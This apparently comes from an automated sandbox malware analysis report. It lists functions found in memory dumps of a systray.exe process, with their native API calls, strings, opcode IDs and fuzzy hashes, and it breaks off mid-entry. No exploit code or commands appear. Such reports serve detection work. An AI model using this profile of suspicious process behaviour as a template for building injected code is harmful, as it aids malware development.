				E01305720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E01305720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x0130fdda
0x0130fde2
0x0130fde5
0x0130fdec
0x0130fdfa
0x0130fdff
0x0130fe0a
0x0130fe0f
0x0130fe17
0x0130fe1e
0x0130fe19
0x0130fe19
0x0130fe19
0x0130fe20
0x0130fe21
0x0130fe22
0x0130fe25
0x0130fe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0130FDFA

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 0130FE01
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 0130FE2B

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 964038bd67687278d53ba4a6aacf151f5dcc00146dbc89158a2d6ff6ca9cb08c
Instruction ID: e3f20ffd8095afd65b2c178bedd8a19f3772e6340f44163961446f568a18008c
Opcode Fuzzy Hash: 964038bd67687278d53ba4a6aacf151f5dcc00146dbc89158a2d6ff6ca9cb08c
Instruction Fuzzy Hash: 89F0C232200201BBE6211A49DC06F23BB9EEB44B30F140214F628565D1EA62F86096A0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: systray.exe PID: 1752 Parent PID: 3292 systray.exeCOMMON

Executed Functions

Function 010D81C0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,010D3B97,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,010D3B97,007A002E,00000000,00000060,00000000,00000000), ref: 010D820D

Strings

.z`, xrefs: 010D81FD, 010D8208

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: 9f5ab50fc17cb8cca3cfdcf5afd59e125e0a76b35cf4754e67106dabeb254f9b
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: 0AF0B2B2200208ABCB08DF88DC84EEB77ADAF8C754F158248FA0D97240C630E811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 010D839A, Relevance: 1.5, APIs: 1, Instructions: 44memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,010C2D11,00002000,00003000,00000004), ref: 010D83D9

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 3d2f2d847bfc15169f919c24de12d47f77e395fcb2e289bb028dcdae24516bd4
Instruction ID: 79b942fdbf6a475d67c7b3d93d36fe7bd0648a4d6d99e5e18b55a0af6319802c
Opcode Fuzzy Hash: 3d2f2d847bfc15169f919c24de12d47f77e395fcb2e289bb028dcdae24516bd4
Instruction Fuzzy Hash: EDF069B5200149ABCB14DF98EC84CB777A9EF88220714865EF94C87202C630E8158BB0

Uniqueness

Uniqueness Score: -1.00%

Function 010D826A, Relevance: 1.5, APIs: 1, Instructions: 38filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(010D3D52,5E972F59,FFFFFFFF,010D3A11,?,?,010D3D52,?,010D3A11,FFFFFFFF,5E972F59,010D3D52,?,00000000), ref: 010D82B5

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 15bae7b20f786b7523856bc99e7ef6211697a1163b4e3f5fe4b4b00518823477
Instruction ID: ed4f39c0e8d65f43fd3418fb9b31a913415d4fca4b2f75c5efa1d3c857ac6cfb
Opcode Fuzzy Hash: 15bae7b20f786b7523856bc99e7ef6211697a1163b4e3f5fe4b4b00518823477
Instruction Fuzzy Hash: A2F0EC72214108AFCB14DF98CC94EEB77A9AF8C714F158648FA5D97241C630E815CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 010D8270, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(010D3D52,5E972F59,FFFFFFFF,010D3A11,?,?,010D3D52,?,010D3A11,FFFFFFFF,5E972F59,010D3D52,?,00000000), ref: 010D82B5

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: de651f3a4b7a473be79e242e106066e63cd5d733ac058ae09860d1137bb49768
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: E4F0A4B2200208ABCB14DF89DC80EEB77ADAF8C754F158649FA1D97241DA30E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 010D83A0, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,010C2D11,00002000,00003000,00000004), ref: 010D83D9

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction ID: 811d6c3e8a42bc8ebb2d3eeac04c2bb72ed177a2c958d416717f0d124998bd29
Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction Fuzzy Hash: 6BF015B2200208ABCB14DF89CC80EEB77ADAF8C650F118549FE0897241C630F810CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 010D82EE, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(010D3D30,?,?,010D3D30,00000000,FFFFFFFF), ref: 010D8315

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: a2b14fa14cc4c4a4f2c23d178d54a6c74f48b06fd88fab68b1533371b0c77fa2
Instruction ID: 1e01e9c279aa43771dc7701653a665d7f1e6664be51057ea9b2d923b7e9e327f
Opcode Fuzzy Hash: a2b14fa14cc4c4a4f2c23d178d54a6c74f48b06fd88fab68b1533371b0c77fa2
Instruction Fuzzy Hash: A9D012752006146BE710EF94CC45FD77768EF48761F154455FA5C5B282C530E90087D0

Uniqueness

Uniqueness Score: -1.00%

Function 010D82F0, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(010D3D30,?,?,010D3D30,00000000,FFFFFFFF), ref: 010D8315

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: 5800d517336ce417c1b3c3e8dfdd8e0ba0ffbe2d60a97a3a5711ac62f1c9558b
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: 7CD01776200314ABD710EF98CC85EE77BACEF48660F158499FA589B282C930FA0086E0

Uniqueness

Uniqueness Score: -1.00%

Function 04FA95D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04FA95DA

Memory Dump Source

Source File: 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp, Offset: 04F40000, based on PE: true

Associated: 00000010.00000002.505711880.000000000505B000.00000040.00000001.sdmp Download File
Associated: 00000010.00000002.505728315.000000000505F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e8977a0bf745528d7869bd8a6cc3470a7b7d9dcf858b230bfd1e12287782c5cb
Instruction ID: 7cb166b7bcc157789be845f51757de0342f5cfcd947544059e4805fd9fb15a4c
Opcode Fuzzy Hash: e8977a0bf745528d7869bd8a6cc3470a7b7d9dcf858b230bfd1e12287782c5cb
Instruction Fuzzy Hash: 6D9002E1242000036146715A4414656400AD7E1245B51C031E1406590DC565E89271A6

Uniqueness

Uniqueness Score: -1.00%

Function 04FA9540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04FA954A

Memory Dump Source

Source File: 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp, Offset: 04F40000, based on PE: true

Associated: 00000010.00000002.505711880.000000000505B000.00000040.00000001.sdmp Download File
Associated: 00000010.00000002.505728315.000000000505F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2e9e208355d5378abac847fe7ea52fa6af0c23617ce8a1b623553c2b966c6ea2
Instruction ID: f8d54a1f719dc5307f4439abbfbc6d5be020df24d4e21536943c2502b9c43ad0
Opcode Fuzzy Hash: 2e9e208355d5378abac847fe7ea52fa6af0c23617ce8a1b623553c2b966c6ea2
Instruction Fuzzy Hash: B49002A5251000032146A55A07045470046D7D6395351C031F1407550CD661E86261A2

Uniqueness

Uniqueness Score: -1.00%

Function 04FA96E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04FA96EA

Memory Dump Source

Source File: 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp, Offset: 04F40000, based on PE: true

Associated: 00000010.00000002.505711880.000000000505B000.00000040.00000001.sdmp Download File
Associated: 00000010.00000002.505728315.000000000505F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7e2e3f8b534992db7bf7a588db3948f3dcf96eb23d9d080f711b23e539da5014
Instruction ID: 7e40bd9e1f2129b522d1036e860b35324a20cf298911f473048b7ec184909a05
Opcode Fuzzy Hash: 7e2e3f8b534992db7bf7a588db3948f3dcf96eb23d9d080f711b23e539da5014
Instruction Fuzzy Hash: 239002B124108803F151615A840478A0005D7D1345F55C421A4816658DC6D5E89271A2

Uniqueness

Uniqueness Score: -1.00%

Function 04FA96D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04FA96DA

Memory Dump Source

Source File: 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp, Offset: 04F40000, based on PE: true

Associated: 00000010.00000002.505711880.000000000505B000.00000040.00000001.sdmp Download File
Associated: 00000010.00000002.505728315.000000000505F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 309218806e1c02320cfcfeddfe724efaf1483438659591fd9d90f99040d430aa
Instruction ID: 876a21d98b69e71d447a76271038e394f49b5e1f040c0d60aa82576c573e4e39
Opcode Fuzzy Hash: 309218806e1c02320cfcfeddfe724efaf1483438659591fd9d90f99040d430aa
Instruction Fuzzy Hash: 7B9002B124100843F141615A4404B860005D7E1345F51C026A0516654DC655E85275A2

Uniqueness

Uniqueness Score: -1.00%

Function 04FA9660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04FA966A

Memory Dump Source

Source File: 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp, Offset: 04F40000, based on PE: true

Associated: 00000010.00000002.505711880.000000000505B000.00000040.00000001.sdmp Download File
Associated: 00000010.00000002.505728315.000000000505F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ec605a9b493b5ad0d74fc32c5f257c78cfdceadc2c373bca5d50a453a74267d0
Instruction ID: 5821197f7f09d1286d8d28f01202974079d648527b22a1fa010d5e223b26851c
Opcode Fuzzy Hash: ec605a9b493b5ad0d74fc32c5f257c78cfdceadc2c373bca5d50a453a74267d0
Instruction Fuzzy Hash: 709002B124100803F1C1715A440468A0005D7D2345F91C025A0417654DCA55EA5A77E2

Uniqueness

Uniqueness Score: -1.00%

Function 04FA9650, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04FA965A

Memory Dump Source

Source File: 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp, Offset: 04F40000, based on PE: true

Associated: 00000010.00000002.505711880.000000000505B000.00000040.00000001.sdmp Download File
Associated: 00000010.00000002.505728315.000000000505F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 702c2a600c64058f6e7d1e9ffe3312d3147a726036c65cd75ca7d987fd128f30
Instruction ID: f0908284c256199a979c1c70eda42b60b563cafc089eb2c0443562317551d4b7
Opcode Fuzzy Hash: 702c2a600c64058f6e7d1e9ffe3312d3147a726036c65cd75ca7d987fd128f30
Instruction Fuzzy Hash: 209002B124504843F181715A4404A860015D7D1349F51C021A0456694DD665ED56B6E2

Uniqueness

Uniqueness Score: -1.00%

Function 04FA9FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04FA9FEA

Memory Dump Source

Source File: 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp, Offset: 04F40000, based on PE: true

Associated: 00000010.00000002.505711880.000000000505B000.00000040.00000001.sdmp Download File
Associated: 00000010.00000002.505728315.000000000505F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c919479ba540f26092d7c7845bca7e1b387a889da1637a922ab5360cfc6638da
Instruction ID: 70c5006a8e01a33bec6bbc8698d3ea20e64d2167e102502125e22c0c7537d0bd
Opcode Fuzzy Hash: c919479ba540f26092d7c7845bca7e1b387a889da1637a922ab5360cfc6638da
Instruction Fuzzy Hash: 3C9002B135114403F151615A84047460005D7D2245F51C421A0C16558DC6D5E89271A3

Uniqueness

Uniqueness Score: -1.00%

Function 04FA9780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04FA978A

Memory Dump Source

Source File: 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp, Offset: 04F40000, based on PE: true

Associated: 00000010.00000002.505711880.000000000505B000.00000040.00000001.sdmp Download File
Associated: 00000010.00000002.505728315.000000000505F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d96efed4448c4cb5a8f80b4e863e22fffa4fc89b41f7ee6aa4acfefe7073ed79
Instruction ID: b17f36f4afddf2fd31a90a60cbe7ef5acad69d74e36a976a079d5b6ae292cb06
Opcode Fuzzy Hash: d96efed4448c4cb5a8f80b4e863e22fffa4fc89b41f7ee6aa4acfefe7073ed79
Instruction Fuzzy Hash: 5D9002A925300003F1C1715A540864A0005D7D2246F91D425A0407558CC955E86A63A2

Uniqueness

Uniqueness Score: -1.00%

Function 04FA9710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04FA971A

Memory Dump Source

Source File: 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp, Offset: 04F40000, based on PE: true

Associated: 00000010.00000002.505711880.000000000505B000.00000040.00000001.sdmp Download File
Associated: 00000010.00000002.505728315.000000000505F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f1019f1ef096b94007a04800300b0d9a10ef29c914139d3508dd8d69a8e153b9
Instruction ID: 4a817f6f66eb70a1a703f687eda519f4355b7da4b861b38ae6c8cef463d469f9
Opcode Fuzzy Hash: f1019f1ef096b94007a04800300b0d9a10ef29c914139d3508dd8d69a8e153b9
Instruction Fuzzy Hash: 2B9002B124100403F141659A54086860005D7E1345F51D021A5416555EC6A5E89271B2

Uniqueness

Uniqueness Score: -1.00%

Function 04FA9860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04FA986A

Memory Dump Source

Source File: 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp, Offset: 04F40000, based on PE: true

Associated: 00000010.00000002.505711880.000000000505B000.00000040.00000001.sdmp Download File
Associated: 00000010.00000002.505728315.000000000505F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 884abe7b9c53b153c4be906a86ea4bcadcbfb26744379c48dc9c11fac17bd39e
Instruction ID: cfaafe206b2f211219a6c4a64ef463169d5ddc52f753970d1a82b1ae7cfcdcce
Opcode Fuzzy Hash: 884abe7b9c53b153c4be906a86ea4bcadcbfb26744379c48dc9c11fac17bd39e
Instruction Fuzzy Hash: 609002B124100413F152615A45047470009D7D1285F91C422A0816558DD696E953B1A2

Uniqueness

Uniqueness Score: -1.00%

Function 04FA9840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04FA984A

Memory Dump Source

Source File: 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp, Offset: 04F40000, based on PE: true

Associated: 00000010.00000002.505711880.000000000505B000.00000040.00000001.sdmp Download File
Associated: 00000010.00000002.505728315.000000000505F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2d54e3c7826ad03f0fac777b0f1bc5e1a676161183618b214224a86cc159ba39
Instruction ID: 8a8495a57faa9d4c0d194c261656b99138d7c53a693b84259ba19fa0df597d52
Opcode Fuzzy Hash: 2d54e3c7826ad03f0fac777b0f1bc5e1a676161183618b214224a86cc159ba39
Instruction Fuzzy Hash: B49002A1282041537586B15A44045474006E7E1285791C022A1806950CC566F857E6A2

Uniqueness

Uniqueness Score: -1.00%

Function 04FA99A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04FA99AA

Memory Dump Source

Source File: 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp, Offset: 04F40000, based on PE: true

Associated: 00000010.00000002.505711880.000000000505B000.00000040.00000001.sdmp Download File
Associated: 00000010.00000002.505728315.000000000505F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 154872272dbc83ff4ca9e280efc36e8cb8ad79c8a6b3a41ec9d54e813acdfff6
Instruction ID: c6059df8589d706a309890284dec244b672287ac132048429d8646f470e810ba
Opcode Fuzzy Hash: 154872272dbc83ff4ca9e280efc36e8cb8ad79c8a6b3a41ec9d54e813acdfff6
Instruction Fuzzy Hash: 3F9002E138100443F141615A4414B460005D7E2345F51C025E1456554DC659EC5371A7

Uniqueness

Uniqueness Score: -1.00%

Function 04FA9910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04FA991A

Memory Dump Source

Source File: 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp, Offset: 04F40000, based on PE: true

Associated: 00000010.00000002.505711880.000000000505B000.00000040.00000001.sdmp Download File
Associated: 00000010.00000002.505728315.000000000505F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b3d63d89404d30635187345fdac5aa3fdcc20f53bdefc5c8bdf54d0ca73f8094
Instruction ID: a68a57d6d764ad714ff2f10425830406b7d179864726851bd1ce31f8551ff420
Opcode Fuzzy Hash: b3d63d89404d30635187345fdac5aa3fdcc20f53bdefc5c8bdf54d0ca73f8094
Instruction Fuzzy Hash: 789002F124100403F181715A44047860005D7D1345F51C021A5456554EC699EDD676E6

Uniqueness

Uniqueness Score: -1.00%

Function 04FA9A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04FA9A5A

Memory Dump Source

Source File: 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp, Offset: 04F40000, based on PE: true

Associated: 00000010.00000002.505711880.000000000505B000.00000040.00000001.sdmp Download File
Associated: 00000010.00000002.505728315.000000000505F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6d02c5ca35ba7aa3e399ea391fa0a2e883773da8117edbe86ec2e39f19c717e
Instruction ID: a3ce568c989ae2b878d11bfb4d2e34a3b545ce994810975bdc36e51f94ac02a8
Opcode Fuzzy Hash: b6d02c5ca35ba7aa3e399ea391fa0a2e883773da8117edbe86ec2e39f19c717e
Instruction Fuzzy Hash: 649002A125180043F241656A4C14B470005D7D1347F51C125A0546554CC955E86265A2

Uniqueness

Uniqueness Score: -1.00%

Function 010D6EE0, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 90sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 010D6F88

Strings

net.dll, xrefs: 010D6F51, 010D6FD7, 010D6FAF, 010D6FBB, 010D6FE3
wininet.dll, xrefs: 010D6F3E, 010D6F47

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 390acab26ee569d2d5dce905c16005b97c3deb95e295957b093f80748b4a536a
Instruction ID: 3d7c3d1ba4af3b0766c357c77d29a76e488c070f52196d1504a1e447b56e2783
Opcode Fuzzy Hash: 390acab26ee569d2d5dce905c16005b97c3deb95e295957b093f80748b4a536a
Instruction Fuzzy Hash: C8318DB1602705ABD711DF68C8A0FABB7F8EB88700F40845DF69AAB241D771B445CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 010D6EDE, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 79sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 010D6F88

Strings

net.dll, xrefs: 010D6F51, 010D6FAF, 010D6FBB
wininet.dll, xrefs: 010D6F3E, 010D6F47

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: a6a8c82bb5e3480dfd70fd0a28eda0d5b498c823c5ecf6509b0dd139b1839f42
Instruction ID: 9659103982ce12469a253b3fa5d4c8c2206f3698cc99db40f24ee5b599d943d6
Opcode Fuzzy Hash: a6a8c82bb5e3480dfd70fd0a28eda0d5b498c823c5ecf6509b0dd139b1839f42
Instruction Fuzzy Hash: C9218DB1601705ABD711DF68C8A0FABB7F4EF88704F4080ADF6996B281D771A545CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 010D84D0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,010C3B93), ref: 010D84FD

Strings

.z`, xrefs: 010D84EC, 010D84F8

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: 90354a7feabd681b3444ea7366b5d3250cfdbef2d0252dc4d11cdf8d2746af3d
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: 0BE012B1200208ABDB18EF99CC48EA777ACAF88650F018559FA085B281CA30E910CAB0

Uniqueness

Uniqueness Score: -1.00%

Function 010C7260, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 010C72BA
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 010C72DB

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 86bf3b6b4f8632384912ca179e6a2c0c2a2330f0bda20a50d1e87891e66c8b10
Instruction ID: 7a65b6f72ae5026c5e46b56e5880796b3970d1a36d44fa78b769725bb5eae22f
Opcode Fuzzy Hash: 86bf3b6b4f8632384912ca179e6a2c0c2a2330f0bda20a50d1e87891e66c8b10
Instruction Fuzzy Hash: 44012631A80329B7E720A7948C02FFEB76C9B10F50F040018FF44BA1C0E69469068BF6

Uniqueness

Uniqueness Score: -1.00%

Function 010D8621, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,010CCFA2,010CCFA2,?,00000000,?,?), ref: 010D8660

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6ee93317408330029e529f2e7c9f618384b412856ff0f43ded2d936944d9cf32
Instruction ID: 4b66abed945460bc77c2a18c1379ed6cddf0e15c931759b0998c257bd91a4b2f
Opcode Fuzzy Hash: 6ee93317408330029e529f2e7c9f618384b412856ff0f43ded2d936944d9cf32
Instruction Fuzzy Hash: B9016D75600204BBDB14DF54CC45EE777A8EF49750F108569FA4D9B241DA30A810CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 010C9B20, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 010C9B92

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction ID: 897c61f1dd1b69d6260f2682b025886ca044717e9a49f4c3eea563063b06db80
Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction Fuzzy Hash: 3F011EB5E0020EBBDF10DBE4DD41FDDB7B89B54608F004199A94897281F631E714CB91

Uniqueness

Uniqueness Score: -1.00%

Function 010D8540, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 010D8594

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: 2151bca3e22c9dd14c6f31e1ce9a43e85bfebac1745a10342dd7303449f73f2d
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: F9015FB2214208ABCB54DF89DC80EEB77ADAF8C754F158258FA4D97251D630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 010D8502, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(010D3516,?,010D3C8F,010D3C8F,?,010D3516,?,?,?,?,?,00000000,00000000,?), ref: 010D84BD

Memory Dump Source

